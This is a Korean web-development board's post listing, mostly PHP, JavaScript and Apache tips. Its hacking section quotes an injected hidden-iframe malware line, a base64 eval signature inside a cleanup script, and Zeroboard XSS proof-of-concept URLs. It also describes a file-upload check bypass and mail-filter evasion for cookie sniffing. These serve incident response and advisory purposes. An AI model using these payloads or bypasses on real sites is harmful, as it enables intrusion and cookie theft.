[웹표준]  최근목록 출력시 more(전체보기) 링크시 유의점 설명게시판의 최근 목록 몇 개만을 뽑아 첫 페이지에 보여주는 형태로 웹사이트에서 자주 쓰입니다.주의점보통 [more]를 이미지 혹은 링크로 할경우 alt="more" 이외에 별도의 링크 title 표기가 있어야 한다.사용예<a href="/view/notice.php" title="공지사항 목록"> <img src="images/NotcieMoreBtn.gif" alt="more" /></a>
[웹표준]  웹표준 준수사항 22가지 1) 자바스크립트 지시자나 스타일시트 지시자에 타입정보가 꼭 필요하다.<script></script><style></style><script type="text/javascript"></script><style type="text/css"></style>2) img,  map 태그등에 모두 alt 속성이 필요하다.3) td는 background 속성을 지원하지 않으므로 스타일 시트형태로 표현한다.<td style="backgro...
[웹표준]  Position 화면 정 중앙에 위치시키기 박스가 화면에서 어떻게 나타나고 그 위치를 지정하는 방법을 정하는 속성 static 텍스트나 주변 박스에 따라서 움직이는 보통의 박스. 기본값 relative 처음 박스가 화면에 나오는 위치에서 지정된 오프셋(offset)만큼 위치가 변경됨. 화면에서 공간을 차지함. absolute 상위 엘리먼트의 좌측상단을 기준점으로 하여 지정된 오프셋 만큼 위치가 변경됨.지정. 화면에서 공간을 차지 하지 않음. 보통 레이어라고 말하는 것은 이 절대위치 속성을 이용한 박스를 말함. fixed 브라우저 화면을 기준으로 스크롤에...
[JAVASCRIPT]  휴대폰 / 컴퓨터 접속을 체크하여 출력 javascirpt버전 스마트폰인지 체크하여 컴퓨터와 휴대폰을 구분 지어 출력합니다.요즘 스마트폰 사용이 급중하면서 웹페이지도 모바일버전 보급과 사용이 활발해 졌습니다.이에따라 개발자들이 조금더 구현 및 구분을 쉽게하기 위해 사용자함수 입니다.PHP 버전은 PHP 게시판에 있어요.var MobileCheck = function(){ var MobileVersi = navigator.userAgent.toLowerCase(); var MobileArray = new Array("iphone","lgtelecom","skt","mobi...
[JAVASCRIPT]  새창에서 submit var objPopup=window.open("","Window","width=470, height=500, menubar=no, status, scrollbars");document.form.target="Window"; //새창에서 submit하도록document.form.action="apply_pay.php";if (objPopup == null) { //팝업이 뜨는지 확인      alert("차단된 팝업창을 허용해 주십시오."); } else { ...
[JAVASCRIPT]  select 박스 선택할수 있는 또다른 방법 기존에 셀렉트박스 선택을 하기위해선 PHP for 문이나 while 문혹은 if 문으로 일일이 비교해서 맞으면 selected 로 했으나!!!이건 너무 번거로운 방법이다.스크립트와 php 한줄로 해결할수 있다.wr_form.email_sct.value = "선택값";이런형식으로 값을 넘기게되면 해당 값을 선택하게 되고없을겨우는 PHP코딩으로 공백을 넘기면되고 공백값을 하나 주면 끝!!
[JAVASCRIPT]  jQuery로 플래쉬효과나는 슬라이드 트리메뉴~ <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html>  <head>  <meta http-equiv="content-type" content="text/html; charset=euc-kr">  <meta name="generator" content="virhac.com">  <title></title&g...
[JAVASCRIPT]  그림위에서만 오른쪽 마우스를 쓰지 못하게 하기 index.php 부분에 shop.js 파일을 불러오도록 되어있으니 shop.js 파일 내용 아래에============var clickmessage="그림에는 마우스 오른쪽 버튼이 금지되었어요" function disableclick(e) {  if (document.all) {   if (event.button==2||event.button==3) {   if (event.srcElement.tagName=="IMG"){     alert(clickmessage);   ...
[JAVASCRIPT]  레이어 팝업창 /* 스타일 */.SLB_center { cursor:pointer; visibility:hidden; background-color: #FFF}.SLB_close { cursor: pointer; display:none; font-family: verdana,tahoma; font-size: 9pt; background-color:#000000; color: #ffffff; padding-bottom: 4px; }.SLB_caption { cursor: pointer; display:none; font-family: verd...
[JAVASCRIPT]  요즘 문제되는 팝업차단 문제 해결법 var request; function createXMLHttpRequest() { if (window.XMLHttpRequest) { request = new XMLHttpRequest(); } else { request = new ActiveXObject("Microsoft.XMLHTTP"); } } function startRequest() { createXMLHttpRequest(); request.open("GET", "logou...
[JAVASCRIPT]  아이프레임 높이 자동변경 iframe 높이 자동으로 설정하기 이번에는 홈페이지 제작시 유용하게 사용되는 iframe 에서 내용물(?)의 길이에 맞춰 자동으로 높이가 조절되게 하는 방법을 알아봅니다. 우선 두개의 소스문이 있습니다. 높이를 자동으로 조절하기 위한 스크립트문과 아이프레임 삽입코드입니다. 첫번째 소스 아래소스는 자바스크립트문입니다. 이 소스를 Html문서에서 body 문 아래에 삽입합니다. (스크립트문은 위치에 따라 큰 차이는 없지만 윗 부분에 차례로 정리해야 나중에 수정하거나 관리에도 좋습니다.) 두번째 소스 ...
[JAVASCRIPT]  오른쪽버튼 금지 및 드래그금지 태그 위에 소스를 드래그금지해야할 페이지 상단 및 하단에 삽입해 주세요 제로보드 페이지별 outlogin.php 소스에 삽입해도 됩니다. [이 게시물은 VIRHAC님에 의해 2009-09-13 14:39:33 HTML에서 이동 됨]
[JAVASCRIPT]  페이지 이동방법 1. 2. location.href="이동되어질 주소"; parent.프레임명.location.href="이동되어질 주소"; window.open("이동되어질 주소"); 3. 4. [이 게시물은 VIRHAC님에 의해 2009-09-13 14:39:33 HTML에서 이동 됨]
[JAVASCRIPT]  html 파일에 권한걸고 원하는권한이아닐경우 다른주소로 내보내기 html.php 모두 사용가능하구요 이렇게 권한을 걸어놓으면 해당레벨이 안되는회원은 저절로 부드럽게 다른주소로 이동하게됩니다 //아래꺼 쭉 복사해서 붙여넣기한다음 자신에게맞게;;수정!//////////////////////////// 관리자페이지입니다~~ /////////////// 제일위에 절대경로.제로보드경로 저것은 최근게시물을 달때 제일위에써주는것과일치하구요 이부분 을 잠깐설명하자면;; 멤버 회원의레벨이 1보다 더클경우 페이지를이동 "레벨1이아닌경우내보내래주소" 뭐 이렇습니다.....
[JAVASCRIPT]  ip 조회 스크립트 function check_ip(ipval){ document.isp_form.action='http://whois.nic.or.kr/result.php'; document.isp_form.method='post'; document.isp_form.target='_blank'; document.isp_form.domain_name.value = ipval; document.isp_form.submit(); document.isp_form.action=''; docu...
[JAVASCRIPT]  자바스크립트로 PHP의 number_format 흉내 function number_format(data) { var tmp = ''; var number = ''; var cutlen = 3; var comma = ','; var i; len = data.length; mod = (len % cutlen); k = cutlen - mod; for (i=0; i
[JAVASCRIPT]  스크롤링 문자열 제목 없음 #mw-scroll-layer { width:190px; height:25px; position:relative; overflow:hidden; } #mw-popular-scroll { position:absolute; } #mw-popular-scroll table { width:200px; margin:0; padding:0; } #mw-popular-scroll td { margin:0; height:25px; } #mw-popular-scroll a { color:#444; } #mw-popular-scro...
[JAVASCRIPT]  방향키를 이용해서 이전 게시물 또는 다음 게시물 이동하기 (핫키) 왼쪽 방향키( <-- ) 즉, 이전 게시물은 키코드 값이 37이구요. 오른쪽 방향키( --> ) 즉, 다음 게시물은 키코드 값이 39입니다. 마지막으로 하나더 설명을 하자면 처음글과 마지막 등록글에서 방향키 사용시 초기 리스트로 이동됨니다. 그리고, 마우스 포커스가 input 이나 textarea 에 위치해 있을때는 작동하지 않습니다. 글작성시에 해당 핫키를 누를 경우 이동하는 것을 금지하기 위해서... 아참 버그가 하나 있습니다. 내용 보기에서 마우스 오른쪽 클릭을 하게되는 경우에... 핫키가 작동하지 않습니다. ...
[JAVASCRIPT]  아이프레임 자동리사이즈 1. 아이프레임 소스 필요에 따라 topmargin=0 leftmargin=0 을 추가하실수도 있습니다...ㅡ.ㅡ 링크의 타겟지정하실때는 name 이 이용되는거 아시죠? ^^ src 는 알아서 맞추시구요... (제로보드일경우의 예제: src="/bbs/zboard.php?게시판아이디") id 에 주의하십시오... ( id 는 꼭 있어야 함, 따옴표로 감싸주시길 권장, id 변경시 내부페이지의 스크립트에서도 한줄 변경해야함, 아이프레임 여러게 사용시 아이프레임과 내부 페이지의 스크립트에 동일하게 각각 다른아이디를 적...
[JQUERY]  팝업창 띄우지 않고 아이디 중복확인 하기 ** 1 . 따로 중복확인을 누르지 않고 아이디를 입력하고 포커스를 옮기는 순간 중복확인이 체크된다 ** 2 . 중복확인 승인을 받은 후 다시 아이디를 고쳤을 경우도 체크된다 ** 3 . check_id() 에들어있는 유효성체크 함수들은 여기에 표시하지 않았다 유효성 체크를 위해서는          해당 함수들을 따로 선언해야 한다 ** 4 . 모든 유효성 체크는 check_id() 에서 실시하고 submit 시킬경우 공백체크만 &nbs...
[JQUERY]  php ajax 한글깨질때.. 실행되는 php 파일 상단에 아래 문구 적용 header("Content-Type: text/plain ; charset=euc-kr");
[LINUX]  sendmail을 이용한 php mail함수 발송시 DSN: User unknown 메세지 /etc/mail/local-host-names 백업 후 내용 삭제 -> sendmail 재가동 후 발송확인
[LINUX]  $HTTP_POST_VARS, $HTTP_GET_VARS 사용되지 않을때 /etc/php.iniregister_long_arrays = Off 를 On으로 수정 후 아파치 리스타트!
[LINUX]  mysql 확장모듈을 불러올 수 없습니다. yum 혹은 rpm으로 설치된 경우 php-mysql 패키지의 누락으로 발행될 수 있는 에러이다. rpm -qa | grep php-mysql 명령시 예를들어 php-mysql-5.3.3-3.el6_2.8.i686 가 없다면yum install php-mysql* 로 설치가 가능하나 그게 안될경우 rpm -qa | grep php 로 설치된 목록의 버전을 체크하여php-common-5.3.3-3.el6_2.8.i686이 있다면구글에서 php-mysql-5.3.3-3.el6_2.8.i686&n...
[LINUX]  XML C Parser 설치 PHP5 실행을 위해서는 버전 2.5이상의 XML C 파서가 필요하므로 XML C 파서인 libxml2를 먼저 설치해야 한다. 다운로드 사이트: http://xmlsoft.org 1. 적당한 위치에 XML C Parser 파일을 다운받는다. (libxml2-2.6.30.tar.gz) 2. 콘솔창에 다음과 같이 입력한다. #mv libxml2-2.6.30.tar.gz /usr/local/src #cd /usr/local/src #tar xvfz libxml2-2.6.30.ta...
[LINUX]  PHP 라이브러리 설치 1. zlib - 압축 관련 라이브러리 - 홈페이지 : http://www.zlib.org 또는 http://www.gzip.org/zlib/ #cd /usr/local #wget http://ftp.superuser.co.kr/pub/etc/zlib-1.2.3.tar.bz2 #tar xvfj zlib-1.2.3.tar.bz2 #cd zlib-1.2.3 #./configure #make #make install #cd .. #rm -rf zlib-...
[LINUX]  PHP 설치 # tar xvzf php-5.3.8.tar.gz# cd php-5.3.8# mkdir -p /usr/local/php# ./configure --prefix=/usr/local/php --with-mysql=/usr/local/mysql --with-apxs2=/usr/local/apache2/bin/apxs --enable-sysvshm=yes --enable-sysvsem=yes --enable-debug=no --with-ttf --with-png-dir=/usr --with-zlib-dir --with-jpeg-dir...
[LINUX]  apache(httpd) Sytax OK지만 실패의 경우 apache(httpd) Sytax OK지만 실패의 경우 해당 문제의경우 여러가지 원인이 있으며, 때문에 error_log를 잘 살펴봐야합니다. 또한 httpd.conf 설정에는 Include conf.d/*.conf 형식으로 .conf 전체를 인클루드 시켜버리기때문에 잘 체크해야합니다. 저의 경우 nss.conf가 원인이었으며 OS업데이트시 php 버전업데이트가 되면서 모듈 호환성에 문제가 있는것으로 생각되어 nss.conf를 다른곳으로 보관 재시작하였습니다.
[LINUX]  아파치 업로드 폴더 확장명 PHP 실행 막기 <Directory "/home/httpd/*/public_html/*/data/">         <Files ~ ".(php|html|htm|py|cgi|php3|php4|inc|phtml)$">                Order Deny,Allow     &...
[LINUX]  [CentOS] apache2.x mod_url 설치 컴파일 가능상태 확인 # httpd -l mod_so.c가 포함되어이 있다면 apxs로 컴파일 가능   # wget http://kldp.net/frs/download.php/4101/mod_url-apache2-1.8.tar.bz2 # tar xvf mod_url-apache2-1.8.tar.bz2 # cd mod_url-apache2 # /usr/local/apache2/bin/apxs -aic mod_url.c   해당 명령이 정상 실행되면 httpd.conf에 LoadModule  ...
[LINUX]  .htaccess를 이용한 특정 폴더만 PHP 번역금지 방법 해당 디렉토리에 .htaccess 파일을 생성합니다.아래는 확장자 php / html / inc / htm / php3 코드 번역을 금지합니다.보통 data 폴더에 php 번역 확장자를 업로드하는 해킹 기법을 방어하는데 약간의 도움이 됩니다.<Files ~ ".*.(php|htm|inc|html|php3)$">     Order allow,deny     Deny from all </Files>
[LINUX]  Apache Welcome file 설정 <IfModule dir_module> DirectoryIndex index.html index.htm index.php</IfModule> 해당 우선 순위는 index.html > index.htm > index.php 입니다.같은 파일이 같은 디렉토리에 있을때 우선 순위를 결정 합니다.
[LINUX]  미리내 .htaccess Mysql Write Limit 60KB php_flag register_globals on php_flag suhosin.post.max_vars 11500php_flag suhosin.post.max_value_length 600000000php_flag suhosin.request.max_vars 11500php_flag suhosin.request.max_value_length 600000000php_flag suhosin.session.encrypt Offphp_flag suhosin.session.cryptua Offphp_flag suhosin.sessi...
[보안정보]  8대 웹 취약점 목록 1.디렉토리 리스팅 취약점 홈페이지의 속성을 설정하는 “웹사이트 등록정보”에 특정 디렉토리에 대하여 - IIS 웹 서버 : ‘디렉토리 검색’ 항목이 체크- Apache 웹 서버 :  ‘httpd.conf 파일’에서 ‘Indexes’옵션이 On되어 있는 경우에 인터넷 사용자에게 모든 디렉토리 및 파일 목록이 보여지게 되고, 파일의 열람 및 저장도 가능하게 되어 비공개 자료가 유출될 수 있다.   2. 파일 다운로드 취약점게시판 등에 저장된 자료에 대해 ‘다운로드 스크립트’를 이용하여 다운로드 기능을 제공하면서...
[보안정보]  정보보안의 기본 용어 정리 정보보안의 기본 용어 정리   *가짜 메일(Fake mail, Fraud mail)보낸 사람을 숨기거나 다른 사람으로 위장한 채 상대방에게 보낸 전자 메일을 뜻하는 것으로, 메일 발송 시스템을 조작하여 다른 사람의 이름 및 주소 또는 완전히 가공된 이름과 주소에서 발송한 것으로 가장하여 상대에게 메일을 보내는 것이다. 초기에는 장난 삼아 시작된 것이지만, 점차 타인을 정신적으로 괴롭힐 목적으로 심한 욕설과 비난, 공격적 언어, 성희롱을 담은 메일을 보내는 일종의 사이버 테러, 사이버 스토킹의 수단으로 사용되기도 한다....
[바이러스정보]  매크로 바이러스의 정의와 특징. 매크로는 하나의 명령으로 여러 개의 명령을 수행하도록 하는 기능으로서, 매크로 바이러스는 이 매크로 기능을 사용하는 마이크로소프트사의 엑셀, 워드 및 이를 통합한 오피스 프로그램 등의 데이터에 감염됩니다. 1997년부터 전세계적으로 유포되었으며, 워드프로세서로 작성된 문서나 데이터를 전자우편로 보낼 때 상대방 컴퓨터에 침입, 작성한 문장을 마음대로 바꿔 버리거나 하드디스크 정보를 완전히 지워 버리는 등의 피해를 일으킵니다. 다른 바이러스들은 플로피디스크나 네트워크를 통해 소프트웨어를 컴퓨터에 집어넣지 않으면 감염되지 않았으나 ...
[바이러스정보]  부팅 오작동 증상을 유발하는 악성코드 주의 최근 국내외에서 발견 보고되고 있는 일부 악성코드 중에 비정상적인 레지스트리의 생성과 오작동으로 인하여 윈도우가 정상적으로 시작되지 않는 피해 보고가 나타나고 있는 상황이며, 변종도 추가적으로 발견되고 있다.잉카인터넷 시큐리티 대응센터에서는 이번에 발견된 악성코드(변종 포함)를 진단하고 치료할 수 있는 전용백신을 제작하여 무료로 제공하고 있다.[무료 전용백신 제공]http://www.nprotect.com/v6/data/index.php?mode=vs_down_view&no=289현재...
[바이러스정보]  MS Windows 부팅 불능 악성코드 감염 주의 □ 개 요   o PC 재부팅 시 검은 화면에 마우스만 나타나며, 정상적인 부팅을 방해하는 악성코드가    발견되어 사용자의 주의가 요구됨 [1, 3, 4]    ※ 안전모드에서도 부팅이 불가함 □ 설 명   o 악성코드에 감염될 시 다음과 같은 레지스트리 값이 설정됨    - 경  로: HKLMSoFtWAREMicrosoftWindows nTcurrentver...
[바이러스정보]  바이러스 감염 증상 ① 컴퓨터 기동시간이 평소보다 오래 걸린다. ② 기동 자체가 되지 않거나, 프로그램이 실행되지 않거나, 프로그램을 실행시키는 시간이 평소보다 오래 걸린다. ③ 파일목록을 확인하는 명령을 하였을 때 목록이 화면에 나타나는 시간이 오래 걸린다. ④ 화면에 이상한 글자가 나타나거나, 프로그램의 크기가 달라져 있거나, 프로그램의 작성일자 또는 파일의 이름이 바뀌는 등의 증세를 나타낸다. << 최근 바이러스의 특징 ① 빠른 전파력을 지닌 이메일 바이러스의 스팸메일화 - 초기의 이메일 바이러스는 비교적 간단한...
[바이러스정보]  바이러스의 종류 컴퓨터 바이러스는 그 영향 정도에 따라 양성 및 악성 바이러스, 감염 부위에 따라 부트(Boot) 및 파일(File) 바이러스로 구분한다. 부트 바이러스는 컴퓨터가 기동할 때 제일 먼저 읽게 되는 디스크의 특정 장소에 감염되어 있다가 컴퓨터 기동시에 활동을 시작하는 종류이다. 파일 바이러스는 숙주 프로그램에 감염되어 있다가 숙주 프로그램이 실행될 때 활동하는 바이러스를 말한다. 또한 최근에는 감염 경로에 따라 인터넷 바이러스를 별도로 구분하기도 한다. 바이러스는 종류에 따라 활동방식도 다른데 감염 즉시 활동하는 것...
[리눅스해킹]  해킹당한 서버에서 확인해야할일 해킹 피해시스템 분석 절차 이 문서는 시스템이 침입을 당했을 경우 유닉스 시스템의 보안을 위해 무엇을 할 것인가를 알려준다. 또한 아직 침입을 당하지 않은 상태라도 시스템 보안점검에 도움이 된다. 1. 해킹 피해시스템 분석 절차 가. 시스템 침입흔적 조사 방법 특별한 장소 또는 행위로부터의 접속에 대한 로그파일을 조사한다. - last, syslog, 프로세스 로그와 그밖에 다른 로그파일을 조사한다. - access-log, xferlog 등 주요서버의 로그파일을 조사한다. - 방화벽 또는 라...
[해킹정보]  FTP 계정 유출을 통한 악성코드 삽입 대처 하자 ! 최근 ftp 계정 정보가 유출되어 홈페이지에 악성코드가 삽입되는 사례가 급격히 늘고 있습니다. 감염된 pc 사용자가 웹 사이트 파일을 관리 하는 ftp 클라이언트 프로그램을 가지고 ftp 접속을 할 경우 id 와 password 를 빼내어 해당 웹사이트 파일 이름이 index ,main 으로 되어 있는 파일들을 변조해서 악성코드를 다운받도록 코드를 심어 놓은 방식으로 진행이 되고 있습니다.   홈페이지 파일 내에서 악성코드를 지우는 것으로 만은 문제가 해결되지 않도록 진화하고 있는 실정입니다. 이 때문에 본의 아니게...
[해킹정보]  iframe hacking 당한 후에 사용한 치료용 스크립트 실행한 디렉토리부터 하위단에 있는 모든 파일을 다 뒤져서 감염된 파일을 수정하는 방식으로 되어 있다. <?php//usage : php -f kickHack.php @infected directory root $hackArr = array( '<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygndnIxJykpe2Z1bmN0aW9uIHZyMSgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCR...
[해킹정보]  왜 & 를 소홀히 하는가? 1. & 는 무엇인가. & 기호를 처음 보는 사람은 아마도 없을 것이다.이것은 실생활에서 AND 를 의미하기도 하고, C 언어의 경우 & 는 AND 연산을 의미하기도 한다.또한 && 와 같이 & 가 두개 사용되는 경우, 이것은 참과 거짓을 나타내는 논리식이 된다.앞의 문장과 뒤의 문장이 모두 참일 경우 참이 되는 AND 논리식으로 쓰이는 것이다.&는 또한 BASH 와 같은 쉘에서 명령을 백그라운드의 프로세스로 실행되게 하기도 하고, && 의 경우 앞의 명령이 참일...
[해킹정보]  index, main파일 아이프레임악성코드 대처 어느 날 갑자기 멀쩡하던 홈페이지 레이아웃이 엉망으로 바뀌면서 관리자 페이지도 못들어가는 증상이 발생하여 index.php 소스를 내려받아 코드를 살펴보니 원래는 없던 코드가 아이프레임 방식으로 히든처리되어 심어져 있습니다. 코드는 <iframe src="./hxxxxxp://bestfindaloan.cn:8080/index.php" width=116 height=188 style="visibility: hidden"></iframe> 식입니다. 주소는 매우 다양합니다 (6월6일자 보고에 의하면 48,00...
[해킹정보]  제로보드 취약점 총정리 ■ 크로스사이트 스크립팅 취약점(2005.02.19) The following proof of concept examples are available: http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E% 3Cscript%3Ealert(document.cookie)%3C/script%3E http://www.example.com/zboard.php? id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%...
[해킹정보]  웹서버를 경유한 DB서버 해킹 본 문서는 방화벽의 Private또는 DMZ에 웹서버또는 DB와 연동할 수 있는 서버를 점령 후에 어떻게 DB 서버를 해킹하는가에 대한 궁금증 해결을 위해 작성한 문서이다. ----------------------------------------------------------------------------------------------------------------- I. 네트워크 구성도 1) 인터넷 -------방화벽------- 웹서버 --------방화벽---------DB서버 2) 인터넷 -----...
[해킹정보]  php 파일 업로드 버그 현재 많은 사이트에서 사용중인 PHP게시판은 대부분 파일업로드 부분에 서 보안관련 버그가 존재합니다. 따라서 웹을 통해서 자료실등에 php스크립트를 올려서 내부 php의 소스 를 볼 수가 있습니다. 보통 파일확장자를 검사할 때 $ext = explode(".",$file_name); 혹은 $ext = substr(strrchr($file_name,"."), 1); 이렇게 검사를 하는 게시판이 많이 있습니다. 하지만 이런방법의 검사는 보안홀이 존재합니다. 현존하는 거의 모든 게시판에서 통하더군요. 쿨BBS,적수보...
[해킹정보]  메일서비스에서 자바스크립트 금지를 회피하기 예전에 쿠키 스니핑이 이슈가 된적이 있었죠? 지금도 쿠키 스니핑이 되는 것들이 많이 있습니다. 이 쿠키 스니핑이 이슈가 된 후에 많은 메일 서비스 회사들이 쿠키 스니핑에 이용되는 javascript 를 사용하지 못하도록 막아놓았습니다. 특정 문자열을 다른 문자열로 바꾼다던지 하는 방법들을 사용해서 막은 것이죠. (그런데 어떤 회사들은 아예 대처를 하지 않았더군요. 여기선 그나마 대처를 해놓은 서버들에 대한 필터링 방법에 대해서 이야기합니다.) 하지만 이 것들을 다른 방법으로 피해갈 수 있습니다. 먼저 그 ...
[일반자료실]  UTF8 로 일괄 파일 변경 또는 다시 ANSI 로 변경하는 프로그램(RedUTF8.exe) *.php 등 화일을 하나하나 utf8로 변경하는 건 번거롭더라고요. 이 프로그램 이용하니, 해당 서브디렉토리까지 단번 에 변경되네요. 다만, 이 프로그램은 문자코드셋만 바꿔주는 것이기 때문에, $g4['charset'] = "euc-kr"; $g4['charset'] = "utf-8"; 와 같은 종류의 코드내용이 들어가 있는 부분은 따로 수정을 해야 할 것 같습니다.(내용 변경은 따로) 이건, 소스 올려 주시는 분이 코멘트를 달아 주시면 좋고,  아니면, $ grep -ni euc-kr *    명...
[일반자료실]  악성코드 분석툴 위 이미지와 같이 IE7 0Day 취약점과 같은 악성코드 분석시 유용하게 사용할수 있는 툴모음입니다.Sniff_hit , SysAnalyzer 는 유용하게 사용할수 있는 툴이죠.출처 : http://labs.idefense.com/software/malcode.php